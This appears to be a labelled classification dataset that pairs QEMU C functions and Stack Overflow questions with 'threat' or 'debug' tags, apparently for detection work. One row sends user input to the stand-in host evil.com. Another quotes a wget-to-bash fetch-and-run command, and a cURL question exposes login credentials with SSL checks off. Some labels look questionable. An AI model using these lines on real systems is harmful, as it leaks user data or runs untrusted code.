problem
stringlengths
26
131k
labels
class label
2 classes
document.location = 'http://evil.com?username=' + user_input;
1threat
static int kvm_max_vcpus(KVMState *s) { int ret; ret = kvm_check_extension(s, KVM_CAP_MAX_VCPUS); if (ret) { return ret; } ret = kvm_check_extension(s, KVM_CAP_NR_VCPUS); if (ret) { return ret; } return 4; }
1threat
How to encrypt with both the private key and public key : <p>I have this bash script</p> <pre><code>#generate key openssl genrsa -out key.pem 2048 openssl rsa -in key.pem -text -noout #save public key in pub.pem file openssl rsa -in key.pem -pubout -out pub.pem openssl rsa -in pub.pem -pubin -text -nout #encrypt data openssl rsautl -encrypt -inkey pub.pem -pubin -in license.json -out license_encrypted.json #decrypt data openssl rsautl -decrypt -inkey key.pem -in license_encrypted.json </code></pre> <p>In the code you can see I encrypt the file using the public key and decrypt using the private key, I need to know how to encrypt using both the private key and the public key. Is this possible. Should I decrypt using the private key or can idecrypt using the public key, this is in regards to software licenses I am trying to encrypt</p>
0debug
Python: force csv reader to include "\n"'s, instead of creating newline : While working on a Twitter scraping project recently, I noticed that tweets oftentimes have the newline character within them, `\n`, which correspond to linebreaks in the tweets. In the `.csv` files I am creating, instead of deleting them, I would like to keep said `\n` characters, but `csv.writer` keeps interpreting them as new lines, and my `.csv`'s thus become littered with line-breaks everywhere. I don't want to simply do `string.replace("\n", " ")` each time, as that is not efficient, and I have tried opening the csv with the following, `with open(file_name, 'a', newline='\n') as f:`, but that does not seem to do the trick. How could I tell the `csv.writer` to interpret as `\n`'s as literal strings, and keep them?
0debug
def find_Parity(x): y = x ^ (x >> 1); y = y ^ (y >> 2); y = y ^ (y >> 4); y = y ^ (y >> 8); y = y ^ (y >> 16); if (y & 1): return ("Odd Parity"); return ("Even Parity");
0debug
position: sticky and hurribble problem with edge browser : I use bootstrap 4 and .sticky-top class for stick div after scrolling. But the problem is in edge browser hide div and and unvisiable content of div. it's no matter work true .sticky-top class in edge just show this content and don't hide it.
0debug
I ask about UICollectionView : Hi everyone I asking about, I have UICollectionView I load photo library videos every video in cell videos as array, I want to select video from this UICollectionView how to achieve this ? .Thanks
0debug
crop image using coordinates : <p>I am trying to crop image and send the cropped data to server side. I am using imgareaselect plugin. I get the coordinates of selection but could not crop the image. All the solutions available on internet is to preview cropped image using css. But how can I get the cropped data? No need of preview the cropped image. My code is</p> <pre><code>cropw = $('#cropimg').imgAreaSelect({ maxWidth: 300, maxHeight: 300, aspectRatio: '1:1', instance: true, handles: true, onSelectEnd: function (img, selection) { x1 = selection.x1; y1 = selection.y1; x2 = selection.x2; y2 = selection.y2; } }); </code></pre>
0debug
int ff_mov_read_esds(AVFormatContext *fc, AVIOContext *pb, MOVAtom atom) { AVStream *st; int tag; if (fc->nb_streams < 1) return 0; st = fc->streams[fc->nb_streams-1]; avio_rb32(pb); ff_mp4_read_descr(fc, pb, &tag); if (tag == MP4ESDescrTag) { ff_mp4_parse_es_descr(pb, NULL); } else avio_rb16(pb); ff_mp4_read_descr(fc, pb, &tag); if (tag == MP4DecConfigDescrTag) ff_mp4_read_dec_config_descr(fc, st, pb); return 0; }
1threat
HTTP Error 411, The request must be chunked or have a content length : <p>I am trying to login to a remote website but getting error on below code "HTTP Error 411, The request must be chunked or have a content length."</p> <pre><code>$username = "psker"; $password = "Admin123"; $url="https://192.18.11.33/Login.aspx?FromMasterLogin=true"; $postinfo = 'txtUserName='.$username.'&amp;txtpassword='.$password.'&amp;txtUserName_ClientState={"enabled":true,"emptyMessage":""}&amp;txtpassword_ClientState={"enabled":true,"emptyMessage":""}&amp;btnLogin_ClientState&amp;btnClearSession_ClientState&amp;rdwindowForget_ClientState&amp;rdwindowEnforce_ClientState&amp;rdWindowPublicNewsAlerts_ClientState&amp;RadWindowManager1_ClientState'; $cookie_file_path = "/cookies.txt"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); $headers = array( "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding:gzip, deflate, br", "Accept-Language:en-US,en;q=0.8", "Cache-Control:max-age=0", "Connection:keep-alive", "Content-Length:1025", "Content-Type:application/x-www-form-urlencoded" ); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['REQUEST_URI']); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postinfo); curl_exec($ch); curl_setopt($ch, CURLOPT_URL, "https://192.18.11.33/RGCS/Default.aspx?dd=0"); $html = curl_exec($ch); echo $html; curl_close($ch); </code></pre> <p>Below are the original headers of login page :</p> <pre><code>Request URL:https://192.18.11.33/Login.aspx?FromMasterLogin=true Request Method:POST Status Code:302 Found Remote Address:192.18.11.33:443 Referrer Policy:no-referrer-when-downgrade Response Headers view source Cache-Control:private Content-Length:34153 Content-Type:text/html; charset=utf-8 Date:Sat, 15 Apr 2017 09:37:35 GMT Location:/RGCS/Default.aspx?dd=0 Server:Microsoft-IIS/8.5 Set-Cookie:ASP.NET_SessionId=spw3wky1bsdz0mrwzzojg504; path=/; HttpOnly X-AspNet-Version:4.0.30319 X-Powered-By:ASP.NET Request Headers view source Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding:gzip, deflate, br Accept-Language:en-US,en;q=0.8 Cache-Control:max-age=0 Connection:keep-alive Content-Length:1025 Content-Type:application/x-www-form-urlencoded Cookie:ASP.NET_SessionId= DNT:1 Host:192.18.11.33 Origin:https://192.18.11.33 Referer:https://192.18.11.33/Login.aspx?FromMasterLogin=true Upgrade-Insecure-Requests:1 User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 Query String Parameters view source view URL encoded FromMasterLogin:true Form Data view source view URL encoded __EVENTTARGET:btnLogin __EVENTARGUMENT: __VIEWSTATE:/wEPDwULLTEzNDc1MTg5NDRkGAIFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYGBQhidG5Mb2dpbgUPYnRuQ2xlYXJTZXNzaW9uBRFSYWRXaW5kb3dNYW5hZ2VyMQUOcmR3aW5kb3dGb3JnZXQFD3Jkd2luZG93RW5mb3JjZQUYcmRXaW5kb3dQdWJsaWNOZXdzQWxlcnRzBQpyYWRDYXB0Y2hhDxQrAAIFJDcxZmM0ZThmLTRlYTktNDE2Mi1hZTM4LWE0ZmNkNzM0NzY3ZgYAAAAAAAAAAGTJGSQTauu1xAgiX10rd7/Zci9sJhXV9Ilqy4HDolIBqg== __EVENTVALIDATION:/wEdAAci11URbCuVmlO2wf1gC0M7Y3plgk0YBAefRz3MyBlTcJxpWckI3qdmfEJVCu2f5cGinihG6d/Xh3PZm3b5AoMQf2Dr69OxAarGhVFbQWZWFpd+ecw9lQ5sg8SY03yGmgNKhPS/+yQ5+zLwEb8uDfAwho9uEQI2joMICVOBiz0yDgel4nUaIRbrrP5r1YBnzqE= txtUserName:psibmaker txtUserName_ClientState:{"enabled":true,"emptyMessage":""} txtpassword:Admin!@123 txtpassword_ClientState:{"enabled":true,"emptyMessage":""} btnLogin_ClientState: btnClearSession_ClientState: rdwindowForget_ClientState: rdwindowEnforce_ClientState: rdWindowPublicNewsAlerts_ClientState: RadWindowManager1_ClientState: </code></pre> <p>So my problem is "The request must be chunked or have a content length." </p> <p>Can anybody help me? Thanks for reading.</p>
0debug
Lowercase all strings in a list by list comprehension : <p>I am confused on how my code is not turning all strings into lowercase? </p> <pre><code>def set_lowercase(strings): """ lower the case 2. """ return [i.lower() for i in strings] strings = ['Right', 'SAID', 'Fred'] set_lowercase(strings) print(strings) </code></pre>
0debug
Included files, all or nothing? : <p>I have been writing code for a while, but I am not classically trained in computer science, so if this question is ridiculous, please go easy on me.</p> <p>Something I have been trying to find a definitive answer on for a while is, if I #include a file in C, do I get the ENTIRE contents of the file linked in, or just the parts I use? If it has 10 functions in it, and I only use 1 of the functions, does the code for the other 9 functions get included in my executable? This is especially relevant for me right now as I am working on a micro-controller and memory is precious.</p> <p>Thanks for any help with this question.</p>
0debug
how to set Date Time PHP? I ambegginer : I have only this field of php statment, and the output of this field is: `August 11 2016` but how can I make this only `11 08 2016` ? `<?php the_time(get_option( 'date_format' )); ?>`
0debug
static inline void sdhci_reset_write(SDHCIState *s, uint8_t value) { switch (value) { case SDHC_RESET_ALL: DEVICE_GET_CLASS(s)->reset(DEVICE(s)); break; case SDHC_RESET_CMD: s->prnsts &= ~SDHC_CMD_INHIBIT; s->norintsts &= ~SDHC_NIS_CMDCMP; break; case SDHC_RESET_DATA: s->data_count = 0; s->prnsts &= ~(SDHC_SPACE_AVAILABLE | SDHC_DATA_AVAILABLE | SDHC_DOING_READ | SDHC_DOING_WRITE | SDHC_DATA_INHIBIT | SDHC_DAT_LINE_ACTIVE); s->blkgap &= ~(SDHC_STOP_AT_GAP_REQ | SDHC_CONTINUE_REQ); s->stopped_state = sdhc_not_stopped; s->norintsts &= ~(SDHC_NIS_WBUFRDY | SDHC_NIS_RBUFRDY | SDHC_NIS_DMA | SDHC_NIS_TRSCMP | SDHC_NIS_BLKGAP); break; } }
1threat
I want to print the most visited sites/urls in the browser. : Below is the code that I have written in C++ and it is printing the wrong result for the 2nd and 3rd output line. I am not able to figure it out why it is happening. Below is the code which I have written and it is a completely functional code on visual studio. This code expects the one input file named urlMgr.txt whose content should be URLs. Below is the sample URLs which I am using it. /* INPUT TO BE PASTED IN THE urlMgr.txt file so that program can fetch the input from this file. ANY HELP ON THIS WILL BE HIGHLY APPRECIATED. */ Code is also pasted below. #include <iostream> #include <string> #include <unordered_set> #include <algorithm> #include <fstream> #include <sstream> #include <functional> #include <unordered_map> #include <queue> using namespace std; class urlInfo { public: urlInfo(string &url):urlName(url),hitCount(1) { } int getHitCount() const { return hitCount; } string getURL() { return urlName; } string getURL() const { return urlName; } void updateHitCount() { hitCount++; } void setHitCount(int count) { hitCount = count; } private: string urlName; int hitCount; }; class urlInfoMaxHeap { public: bool operator() (urlInfo *url1, urlInfo *url2) const { if(url2->getHitCount() > url1->getHitCount()) return true; else return false; } }; bool operator==(const urlInfo &ui1,const urlInfo& ui2) { //return (ui1.getURL().compare(ui2.getURL()) == 0) ? 1:0; return (ui1.getURL() == ui2.getURL()); } namespace std { template <> struct hash<urlInfo> { size_t operator()(urlInfo const & ui) { return hash<string>()(ui.getURL()); } }; } class urlMgr { public: urlMgr(string &fileName) { ifstream rdStr; string str; rdStr.open(fileName.c_str(),ios::in); if(rdStr.is_open()) { int len; rdStr.seekg(0,ios::end); len = rdStr.tellg(); rdStr.seekg(0,ios::beg); str.reserve(len+1); char *buff = new char[len +1]; memset(buff,0,len+1); rdStr.read(buff,len); rdStr.close(); str.assign(buff); delete [] buff; } stringstream ss(str); string token; while(getline(ss,token,'\n')) { //cout<<endl<<token; addUrl(token); } } void addUrl(string &url) { unordered_map<string,urlInfo*>::iterator itr; itr = urls.find(url); if(itr == urls.end()) { urlInfo *u = new urlInfo(url); urls[url] = u; maxHeap.push_back(u); } else { itr->second->updateHitCount(); urlInfo* u = itr->second; vector<urlInfo*>::iterator vItr; vItr = find(maxHeap.begin(),maxHeap.end(),u); if(vItr!=maxHeap.end()) { maxHeap.erase(vItr); maxHeap.push_back(u); } } make_heap(maxHeap.begin(),maxHeap.end(),urlInfoMaxHeap()); } void releaseResources() { for_each(urls.begin(),urls.end(),[](pair<string,urlInfo*> p){ urlInfo* u = p.second; delete u; }); } void printHeap() { for_each(maxHeap.begin(),maxHeap.end(),[](urlInfo* u){ cout<<endl<<u->getHitCount()<<" "<<u->getURL(); }); } private: unordered_map<string,urlInfo*> urls; vector<urlInfo*> maxHeap; }; int main() { string fileName("urlMgr.txt"); urlMgr um(fileName); um.printHeap(); um.releaseResources(); cout<<endl<<"Successfully inserted the data"<<endl; }
0debug
void aio_set_event_notifier(AioContext *ctx, EventNotifier *e, bool is_external, EventNotifierHandler *io_notify) { AioHandler *node; QLIST_FOREACH(node, &ctx->aio_handlers, node) { if (node->e == e && !node->deleted) { break; } } if (!io_notify) { if (node) { g_source_remove_poll(&ctx->source, &node->pfd); if (ctx->walking_handlers) { node->deleted = 1; node->pfd.revents = 0; } else { QLIST_REMOVE(node, node); g_free(node); } } } else { if (node == NULL) { node = g_new0(AioHandler, 1); node->e = e; node->pfd.fd = (uintptr_t)event_notifier_get_handle(e); node->pfd.events = G_IO_IN; node->is_external = is_external; QLIST_INSERT_HEAD(&ctx->aio_handlers, node, node); g_source_add_poll(&ctx->source, &node->pfd); } node->io_notify = io_notify; } aio_notify(ctx); }
1threat
void replay_read_events(int checkpoint) { while (replay_data_kind == EVENT_ASYNC) { Event *event = replay_read_event(checkpoint); if (!event) { break; } replay_mutex_unlock(); replay_run_event(event); replay_mutex_lock(); g_free(event); replay_finish_event(); read_event_kind = -1; } }
1threat
void bdrv_info_stats(Monitor *mon, QObject **ret_data) { QObject *obj; QList *devices; BlockDriverState *bs; devices = qlist_new(); for (bs = bdrv_first; bs != NULL; bs = bs->next) { obj = qobject_from_jsonf("{ 'device': %s, 'stats': {" "'rd_bytes': %" PRId64 "," "'wr_bytes': %" PRId64 "," "'rd_operations': %" PRId64 "," "'wr_operations': %" PRId64 "} }", bs->device_name, bs->rd_bytes, bs->wr_bytes, bs->rd_ops, bs->wr_ops); assert(obj != NULL); qlist_append_obj(devices, obj); } *ret_data = QOBJECT(devices); }
1threat
how can i have 2 language auto signature in outlook? : i have 2 languages installed in outlook, English (left to right) and Arabic (Right to left) and created 2 different signatures. I can assign each signature manually to each language but i want to know is it possible that signature assign automatically when i change the language or the direction. and how ? Thanks
0debug
SASS Multiplication with units : <p>If I try to multiply two value with units I get an unexpected error.</p> <pre><code>$test: 10px; .testing{ width: $test * $test; } result: 100px*px isn't a valid CSS value. </code></pre>
0debug
View systemd logs without journald : <p>I have a rootfs of broken container with ubuntu-xenial. How to view logs of specific service without running journald?</p>
0debug
static void arm_timer_write(void *opaque, target_phys_addr_t offset, uint32_t value) { arm_timer_state *s = (arm_timer_state *)opaque; int freq; switch (offset >> 2) { case 0: s->limit = value; arm_timer_recalibrate(s, 1); break; case 1: break; case 2: if (s->control & TIMER_CTRL_ENABLE) { ptimer_stop(s->timer); } s->control = value; freq = s->freq; switch ((value >> 2) & 3) { case 1: freq >>= 4; break; case 2: freq >>= 8; break; } arm_timer_recalibrate(s, 0); ptimer_set_freq(s->timer, freq); if (s->control & TIMER_CTRL_ENABLE) { ptimer_run(s->timer, (s->control & TIMER_CTRL_ONESHOT) != 0); } break; case 3: s->int_level = 0; break; case 6: s->limit = value; arm_timer_recalibrate(s, 0); break; default: hw_error("arm_timer_write: Bad offset %x\n", (int)offset); } arm_timer_update(s); }
1threat
Understanding JavaScript Object(value) : <p>I understand that the following code wraps a number into an object:</p> <pre><code>var x = Object(5); </code></pre> <p>I therefore expect and understand the following:</p> <pre><code>alert(x == 5); //true alert(x === 5); //false </code></pre> <p>However, I also understand that an object is a list of <strong>key/value pairs</strong>. So I would have expected the following to be different:</p> <pre><code>alert(JSON.stringify(5)); //5 alert(JSON.stringify(x)); //5 </code></pre> <p>What does the structure of x look like? And why does it not appear to be in key/value pair format?</p>
0debug
How to fetch array within array python : <pre><code>array = [['eric', '12', '12'], ['ted', '12', '102']] n = input("name\n&gt;&gt;") if n in array: print(array) else: print("error") </code></pre> <p>When I input 'eric' as n I want to program to print array[0] and if I enter 'ted' I want to program to output to contents of array[1]. How do I do this?</p>
0debug
All possible combinations of elements from different bins (one element from every bin) : <p>I have a list, where each element is a set of numbers. Lengths of all sets are different:</p> <pre><code> a &lt;- list(1,c(2,3),c(4,5,6)) #&gt; a #[[1]] #[1] 1 #[[2]] #[1] 2 3 #[[3]] #[1] 4 5 6 </code></pre> <p>I'd like to get all possible combinations of one element from each set. In this example it should be:</p> <p>1 2 4, 1 2 5, 1 2 6, 1 3 4, 1 3 5, 1 3 6</p> <p>I feel that some combination of *apply-functions here would be useful, but can't figure out how to do that.</p>
0debug
static void pc_machine_device_post_plug_cb(HotplugHandler *hotplug_dev, DeviceState *dev, Error **errp) { if (object_dynamic_cast(OBJECT(dev), TYPE_PC_DIMM)) { pc_dimm_post_plug(hotplug_dev, dev, errp); } }
1threat
TranslationBlock *tb_gen_code(CPUState *cpu, target_ulong pc, target_ulong cs_base, int flags, int cflags) { CPUArchState *env = cpu->env_ptr; TranslationBlock *tb; tb_page_addr_t phys_pc, phys_page2; target_ulong virt_page2; tcg_insn_unit *gen_code_buf; int gen_code_size, search_size; #ifdef CONFIG_PROFILER int64_t ti; #endif phys_pc = get_page_addr_code(env, pc); if (use_icount) { cflags |= CF_USE_ICOUNT; } tb = tb_alloc(pc); if (!tb) { tb_flush(cpu); tb = tb_alloc(pc); tcg_ctx.tb_ctx.tb_invalidated_flag = 1; } gen_code_buf = tcg_ctx.code_gen_ptr; tb->tc_ptr = gen_code_buf; tb->cs_base = cs_base; tb->flags = flags; tb->cflags = cflags; #ifdef CONFIG_PROFILER tcg_ctx.tb_count1++; ti = profile_getclock(); #endif tcg_func_start(&tcg_ctx); gen_intermediate_code(env, tb); trace_translate_block(tb, tb->pc, tb->tc_ptr); tb->tb_next_offset[0] = 0xffff; tb->tb_next_offset[1] = 0xffff; tcg_ctx.tb_next_offset = tb->tb_next_offset; #ifdef USE_DIRECT_JUMP tcg_ctx.tb_jmp_offset = tb->tb_jmp_offset; tcg_ctx.tb_next = NULL; #else tcg_ctx.tb_jmp_offset = NULL; tcg_ctx.tb_next = tb->tb_next; #endif #ifdef CONFIG_PROFILER tcg_ctx.tb_count++; tcg_ctx.interm_time += profile_getclock() - ti; tcg_ctx.code_time -= profile_getclock(); #endif gen_code_size = tcg_gen_code(&tcg_ctx, gen_code_buf); search_size = encode_search(tb, (void *)gen_code_buf + gen_code_size); #ifdef CONFIG_PROFILER tcg_ctx.code_time += profile_getclock(); tcg_ctx.code_in_len += tb->size; tcg_ctx.code_out_len += gen_code_size; tcg_ctx.search_out_len += search_size; #endif #ifdef DEBUG_DISAS if (qemu_loglevel_mask(CPU_LOG_TB_OUT_ASM)) { qemu_log("OUT: [size=%d]\n", gen_code_size); log_disas(tb->tc_ptr, gen_code_size); qemu_log("\n"); qemu_log_flush(); } #endif tcg_ctx.code_gen_ptr = (void *) ROUND_UP((uintptr_t)gen_code_buf + gen_code_size + search_size, CODE_GEN_ALIGN); virt_page2 = (pc + tb->size - 1) & TARGET_PAGE_MASK; phys_page2 = -1; if ((pc & TARGET_PAGE_MASK) != virt_page2) { phys_page2 = get_page_addr_code(env, virt_page2); } tb_link_page(tb, phys_pc, phys_page2); return tb; }
1threat
How can I read tar.gz file using pandas read_csv with gzip compression option? : <p>I have a very simple csv, with the following data, compressed inside the tar.gz file. I need to read that in dataframe using pandas.read_csv. </p> <pre><code> A B 0 1 4 1 2 5 2 3 6 import pandas as pd pd.read_csv("sample.tar.gz",compression='gzip') </code></pre> <p>However, I am getting error:</p> <pre><code>CParserError: Error tokenizing data. C error: Expected 1 fields in line 440, saw 2 </code></pre> <p>Following are the set of read_csv commands and the different errors I get with them:</p> <pre><code>pd.read_csv("sample.tar.gz",compression='gzip', engine='python') Error: line contains NULL byte pd.read_csv("sample.tar.gz",compression='gzip', header=0) CParserError: Error tokenizing data. C error: Expected 1 fields in line 440, saw 2 pd.read_csv("sample.tar.gz",compression='gzip', header=0, sep=" ") CParserError: Error tokenizing data. C error: Expected 2 fields in line 94, saw 14 pd.read_csv("sample.tar.gz",compression='gzip', header=0, sep=" ", engine='python') Error: line contains NULL byte </code></pre> <p>What's going wrong here? How can I fix this?</p>
0debug
Angular 2 with PHP backend design structure thoughts : <p>I have a huge project, which has grown over the years. I would like to change, change not refactor, from jQuery to Angular 2 in the frontend (this is not a question on refactor jQhery to Angular, which has been discussed a lot here. Also, I think it's not compareable).</p> <p>Ok, first of all Angular 2 does not have controllers anymore in the meaning of AngularJS. So, we got only compontents. I think it would be the best way, to divide the page into header, content and footer components.</p> <p>With the change to Angular 2 I would also change my backend to the Twig Rendering Engine. That wouldn't be a problem, because we can change the symbol of Twig e. g. from <code>{{</code> to <code>&lt;%</code> and <code>}}</code> to <code>%&gt;</code>. To clearify if it should be rendered on the frontend or the backend.</p> <p>My question is: What is better? Rendering on the client / frontend or the backend? I Could use Twig (with an output buffer) for the main part and could it send back to the client via JSON, e. g.:</p> <pre><code>{ header: { error: false }, view: // html escaped content here } </code></pre> <p>In this way, I could get the data from the database and put it prerendered all together, which may contain directives which are rendered at the frontend.</p> <p>On the other hand, I could use some static template partials (for loops etc.), which just set their values returned from JSON into that Angular 2 HTML Template. On that way, I would have huge rendering on client side. So, what are the thoughts of Angular 2 about that? I mean, I am not sure, if this is really a good thing for mobile clients like mobile phones or other thin clients. I am creating an responsive template, so I have to look after that criteria.</p> <p>What do you think, what is better or how are you dealing with that?</p>
0debug
void ppc_cpu_list (FILE *f, int (*cpu_fprintf)(FILE *f, const char *fmt, ...)) { int i, max; max = ARRAY_SIZE(ppc_defs); for (i = 0; i < max; i++) { (*cpu_fprintf)(f, "PowerPC %-16s PVR %08x\n", ppc_defs[i].name, ppc_defs[i].pvr); } }
1threat
Javascript looping get last loop : <p>I have array like this:</p> <pre><code>[1,2,3,4,5,1,2,3,1,2,3] </code></pre> <p>My Question how can i'make the array just get the last loop,<br/> so will become like this:</p> <pre><code>[5,3,3] </code></pre> <p>i try like this, but im confuse to, make condition</p> <pre><code>for(var i=0; i &lt; arr.length; i++){ //how to make the looping just get bigger value before value 1 console.log(arr[i]); } </code></pre>
0debug
why do i get this error in arraylist? : [enter image description here][1] Connection con =DriverManager.getConnection("jdbc:mysql://localhost:3306/mysql","root","password"); System.out.println("Connected database successfully..."); PreparedStatement ps = con.prepareStatement( "select * from web"); ResultSet rs = ps.executeQuery(); ArrayList<String> v = new ArrayList<>(); while ( rs.next()) { String s = rs.getString(1); v.add(s); } bx = new JComboBox(v); bx.setBounds(150, 20, 200, 20); f.add(bx); } while run this code i got an error "**the constructor jcombobox(string) is undefined**" [1]: https://i.stack.imgur.com/FbOET.png
0debug
How to pass the parameter this. in hrml : Is there a way i can pass the parameter value "this" in html, where the "this" referes to the object it is loaded in. Something like : <div onload="floatIn(this)"> <p>test</p> </div> where function= floatIn(element){//} so the element should be the div?
0debug
How to make multiple array into a single array in ruby : Hiii, I am trying to make a multiple array in single array in ruby, but in a different format. I given my idea below, please try to help me. I need it Suppose i have array like this `aa = [1,2,3,[5,6,7],8]` . Now i want to change the code like this `[1,2,3,5,8],[1,2,3,6,8],[1,2,3,7,8]` . if any one get the idea please pass here
0debug
static void init_qxl_rom(PCIQXLDevice *d) { QXLRom *rom = memory_region_get_ram_ptr(&d->rom_bar); QXLModes *modes = (QXLModes *)(rom + 1); uint32_t ram_header_size; uint32_t surface0_area_size; uint32_t num_pages; uint32_t fb, maxfb = 0; int i; memset(rom, 0, d->rom_size); rom->magic = cpu_to_le32(QXL_ROM_MAGIC); rom->id = cpu_to_le32(d->id); rom->log_level = cpu_to_le32(d->guestdebug); rom->modes_offset = cpu_to_le32(sizeof(QXLRom)); rom->slot_gen_bits = MEMSLOT_GENERATION_BITS; rom->slot_id_bits = MEMSLOT_SLOT_BITS; rom->slots_start = 1; rom->slots_end = NUM_MEMSLOTS - 1; rom->n_surfaces = cpu_to_le32(NUM_SURFACES); modes->n_modes = cpu_to_le32(ARRAY_SIZE(qxl_modes)); for (i = 0; i < modes->n_modes; i++) { fb = qxl_modes[i].y_res * qxl_modes[i].stride; if (maxfb < fb) { maxfb = fb; } modes->modes[i].id = cpu_to_le32(i); modes->modes[i].x_res = cpu_to_le32(qxl_modes[i].x_res); modes->modes[i].y_res = cpu_to_le32(qxl_modes[i].y_res); modes->modes[i].bits = cpu_to_le32(qxl_modes[i].bits); modes->modes[i].stride = cpu_to_le32(qxl_modes[i].stride); modes->modes[i].x_mili = cpu_to_le32(qxl_modes[i].x_mili); modes->modes[i].y_mili = cpu_to_le32(qxl_modes[i].y_mili); modes->modes[i].orientation = cpu_to_le32(qxl_modes[i].orientation); } if (maxfb < VGA_RAM_SIZE && d->id == 0) maxfb = VGA_RAM_SIZE; ram_header_size = ALIGN(sizeof(QXLRam), 4096); surface0_area_size = ALIGN(maxfb, 4096); num_pages = d->vga.vram_size; num_pages -= ram_header_size; num_pages -= surface0_area_size; num_pages = num_pages / TARGET_PAGE_SIZE; rom->draw_area_offset = cpu_to_le32(0); rom->surface0_area_size = cpu_to_le32(surface0_area_size); rom->pages_offset = cpu_to_le32(surface0_area_size); rom->num_pages = cpu_to_le32(num_pages); rom->ram_header_offset = cpu_to_le32(d->vga.vram_size - ram_header_size); d->shadow_rom = *rom; d->rom = rom; d->modes = modes; }
1threat
"E" and "I" symbols in istanbul HTML reports : <p>what do the "I" and "E" symbols with the black backgrounds signify in the HTML reports generated by the istanbul JS code coverage tool?</p> <p><a href="https://i.stack.imgur.com/uw7xj.png" rel="noreferrer"><img src="https://i.stack.imgur.com/uw7xj.png" alt="enter image description here"></a></p>
0debug
routerLink inside <mat-tab> angular material : <pre><code>&lt;a routerLink = "/add"&gt;&lt;/a&gt;&lt;mat-tab label="Add Identity"&gt;&lt;/mat-tab&gt; or &lt;mat-tab label="Add Identity"&gt; &lt;a routerLink = "/add"&gt;&lt;/a&gt;&lt;/mat-tab&gt;. </code></pre> <p>I am new to Angular, Trying to use routing with above Angular material component. But its not appending the url when i am clicking on Home tab. Any help on this.</p>
0debug
How to share pdf and text through whatsapp in android? : <p>I tried with the following code but it is not attaching the pdf file.</p> <pre><code>Intent sendIntent = new Intent(); sendIntent.setAction(Intent.ACTION_SEND); sendIntent.putExtra(Intent.EXTRA_TEXT, message); sendIntent.setType("text/plain"); if (isOnlyWhatsApp) { sendIntent.setPackage("com.whatsapp"); } Uri uri = Uri.fromFile(attachment); sendIntent.putExtra(Intent.EXTRA_STREAM, uri); activity.startActivity(sendIntent); </code></pre>
0debug
Group by multiple columns ( one with comma separated and other with sum ) using unix : I have a text/csv file as follows: EDMP_SCI|INACTIVE|12|AE EDMP_SCI|INACTIVE|10|AO EDMP_SCI|ACTIVE|20|IN EDMP_SCI|ACTIVE|30|US EDMP_EBBS|UNKNOWN|10|HK I need to group by based on column1 and column2 (Column3 should have the sum of numbers and column4 should have comma separated values) The required output should be like: EDMP_SCI|INACTIVE|22|AE,AO EDMP_SCI|ACTIVE|50|IN,US EDMP_EBBS|UNKNOWN|10|HK I am able to get sum and comma separated columns separately, but I need then to be done parallelly. I need this either by unix shell script or any single command in unix. Please help me. I need this for an urgent development
0debug
string copy rodoes not work in c : I tried below code to copy string in c but I am not getting correct result. #include <stdio.h> #include <string.h> #include <stdlib.h> int main(void){ char *string1; char *string2 = "abcdefghijk"; char *ptr = string2; unsigned int no_of_chars =0; while(*ptr++ !='\0'){ no_of_chars++; } string1 = malloc(sizeof(char)*(no_of_chars+1)); while(*string1++ = *string2++); printf("string2=%s\n",string2); printf("string1=%s\n",string1); return 0; }
0debug
static void test_blk_write(BlockBackend *blk, long pattern, int64_t offset, int64_t count, bool expect_failed) { void *pattern_buf = NULL; QEMUIOVector qiov; int async_ret = NOT_DONE; pattern_buf = g_malloc(count); if (pattern) { memset(pattern_buf, pattern, count); } else { memset(pattern_buf, 0x00, count); } qemu_iovec_init(&qiov, 1); qemu_iovec_add(&qiov, pattern_buf, count); blk_aio_pwritev(blk, offset, &qiov, 0, blk_rw_done, &async_ret); while (async_ret == NOT_DONE) { main_loop_wait(false); } if (expect_failed) { g_assert(async_ret != 0); } else { g_assert(async_ret == 0); } g_free(pattern_buf); }
1threat
React onScroll not firing : <p>I have simple react component, I set onScroll event to that component but when I scroll it's not firing </p> <pre><code>import React, { Component, PropTypes } from 'react' export default class MyComponent extends Component { _handleScroll(e) { console.log('scrolling') } render() { const style = { width: '100px', height: '100px', overflowY: 'hidden' } const innerDiv = { height: '300px', width: '100px', background: '#efefef' } return ( &lt;div style={style} onScroll={this._handleScroll}&gt; &lt;div style={innerDiv}/&gt; &lt;/div&gt; ) } } </code></pre>
0debug
jQuery not working straight away : <p>I am working on Ruby on Rails and a simple jQuery won´t execute over an element like this:</p> <pre><code>$("header").hide(); </code></pre> <p>However, if i wrap it into a function and call it with document.ready it does the right thing:</p> <pre><code>function myCode() { $("header").hide(); } $(document).ready(myCode); </code></pre> <p>Why it does not work straight forward?? I have installed gem jquery-rails and even have //=required jquery.min.js in the application.js file.</p> <p>Thanks for the help!</p>
0debug
wget not working with raspberry pi project pacman in terminal : <p>I am trying to do the raspberry pi project <a href="https://projects.raspberrypi.org/en/projects/pacman-terminal/3" rel="nofollow noreferrer">Pacman Treasure</a> and on the first step it says to use the command <code>wget -O - http://rpf.io/pacmanstart | bash</code> and when I tried, the terminal gave me an error saying that '0' was an invalid option. I double checked my command and tried again. It still didn't work. I used <code>wget --help</code> and used <code>man wget</code> but I didn't see any problem. Has anyone else had this problem? I am using Raspbian Jessie.</p>
0debug
